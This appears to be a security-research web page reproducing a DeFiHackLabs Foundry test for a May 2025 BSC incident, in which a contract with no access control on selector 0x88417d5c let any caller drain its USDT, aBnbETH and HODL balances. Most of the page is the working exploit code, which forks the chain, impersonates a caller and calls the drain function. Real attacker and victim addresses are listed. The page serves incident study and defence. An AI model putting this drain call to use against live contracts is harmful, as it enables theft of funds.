Skip to content
THREATWIRE

Public reproduction file

src/test/2025-05/unverified_0000_exp.sol

Public reproduction file for dataset entry Unverified_0000.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-05/unverified_0000_exp.sol98 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 5,658.46 USD
8// Attacker : 0x1491B276528531AD3F41DbE9B00387ABaC55c114
9// Attack Contract : 0x167d4A1658DD960B2945131Cd90ca4fdf0FAa242
10// Vulnerable Contract : 0x000004A70f92f1b22de1201aF76C48365d5D0000
11// Attack Tx : https://bscscan.com/tx/0x7ca804d016be67c570a10a620b9ae3027fd6b03d0965da3ec78912be067af024
12//
13// @Info
14// Vulnerable Contract Code : unverified
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1184
18//
19// Attack summary: Any caller can invoke selector 0x88417d5c with token/amount entries, causing the
20// victim to transfer its ERC20 balances to msg.sender.
21// Root cause: missing access control on the token-drain path; owner/storage-owner checks are not
22// applied to selector 0x88417d5c.
24address constant VULNERABLE = 0x000004A70f92f1B22de1201aF76C48365D5D0000;
25address constant DRAIN_USDT = 0x55d398326f99059fF775485246999027B3197955;
26address constant DRAIN_ABNB_ETH = 0x2E94171493fAbE316b6205f1585779C887771E2F;
27address constant DRAIN_HODL = 0x32B407ee915432Be6D3F168bc1EfF2a6F8b2034C;
28bytes4 constant VICTIM_DRAIN_SELECTOR = 0x88417d5c;
30struct TokenAmount {
31 address token;
32 uint256 amount;
35interface IOwnableLike {
36 function owner() external view returns (address);
39contract ContractTest is BaseTestWithBalanceLog {
40 address private arbitraryCaller;
42 function setUp() public {
43 uint256 forkBlock = 50_311_055;
44 vm.createSelectFork("bsc", forkBlock);
46 arbitraryCaller = makeAddr("arbitraryCaller");
47 attacker = arbitraryCaller;
48 multiAssetLog = true;
49 _addFundingToken(DRAIN_USDT);
50 _addFundingToken(DRAIN_ABNB_ETH);
52 vm.label(VULNERABLE, "Unverified Victim");
53 vm.label(arbitraryCaller, "Arbitrary Caller");
54 vm.label(DRAIN_USDT, "USDT");
55 vm.label(DRAIN_ABNB_ETH, "aBnbETH");
56 vm.label(DRAIN_HODL, "HODL");
57 }
59 function testExploit() public balanceLog {
60 uint256 victimUsdtBefore = IERC20(DRAIN_USDT).balanceOf(VULNERABLE);
61 uint256 victimABnbEthBefore = IERC20(DRAIN_ABNB_ETH).balanceOf(VULNERABLE);
62 uint256 victimHodlBefore = IERC20(DRAIN_HODL).balanceOf(VULNERABLE);
64 uint256 attackerUsdtBefore = IERC20(DRAIN_USDT).balanceOf(arbitraryCaller);
65 uint256 attackerABnbEthBefore = IERC20(DRAIN_ABNB_ETH).balanceOf(arbitraryCaller);
66 uint256 attackerHodlBefore = IERC20(DRAIN_HODL).balanceOf(arbitraryCaller);
68 // step 1: prove the drain caller is not the public Ownable owner.
69 assertNotEq(arbitraryCaller, IOwnableLike(VULNERABLE).owner());
71 // step 2: drain the victim-held token balances as an arbitrary non-owner caller.
72 _drainAsArbitraryCaller(DRAIN_USDT);
73 _drainAsArbitraryCaller(DRAIN_ABNB_ETH);
74 _drainAsArbitraryCaller(DRAIN_HODL);
76 // step 3: assert the victim balances were drained and attacker balances increased.
77 assertEq(IERC20(DRAIN_USDT).balanceOf(VULNERABLE), 0);
78 assertEq(IERC20(DRAIN_ABNB_ETH).balanceOf(VULNERABLE), 0);
79 assertEq(IERC20(DRAIN_HODL).balanceOf(VULNERABLE), 0);
81 assertEq(IERC20(DRAIN_USDT).balanceOf(arbitraryCaller) - attackerUsdtBefore, victimUsdtBefore);
82 assertEq(IERC20(DRAIN_ABNB_ETH).balanceOf(arbitraryCaller) - attackerABnbEthBefore, victimABnbEthBefore);
83 assertGt(IERC20(DRAIN_HODL).balanceOf(arbitraryCaller) - attackerHodlBefore, (victimHodlBefore * 9) / 10);
84 }
86 function _drainAsArbitraryCaller(
87 address token
88 ) private {
89 uint256 amount = IERC20(token).balanceOf(VULNERABLE);
90 TokenAmount[] memory entries = new TokenAmount[](1);
91 entries[0] = TokenAmount({token: token, amount: amount});
93 vm.prank(arbitraryCaller);
94 (bool ok,) =
95 VULNERABLE.call(abi.encodeWithSelector(VICTIM_DRAIN_SELECTOR, uint256(0), uint256(0), uint256(0), entries));
96 require(ok, "victim drain call failed");
97 }

Analysis

Dataset entry

Public Foundry test for “Unverified_0000” (2025-05-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x1491b276528531ad3f41dbe9b00387abac55c114

  • Attack Contract

    0x167d4a1658dd960b2945131cd90ca4fdf0faa242

  • Vulnerable Contract

    0x000004a70f92f1b22de1201af76c48365d5d0000

  • Attack Tx

    0x7ca804d016be67c570a10a620b9ae3027fd6b03d0965da3ec78912be067af024

File record

Name
Unverified_0000
Path
src/test/2025-05/unverified_0000_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
6d7b8add1afb816a2eed03d3f735f1acedd21452
Language
Solidity
Size
99 lines
Date
2025-05-25
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-05/unverified_0000_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6d7b8add1afb816a2eed03d3f735f1acedd21452, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.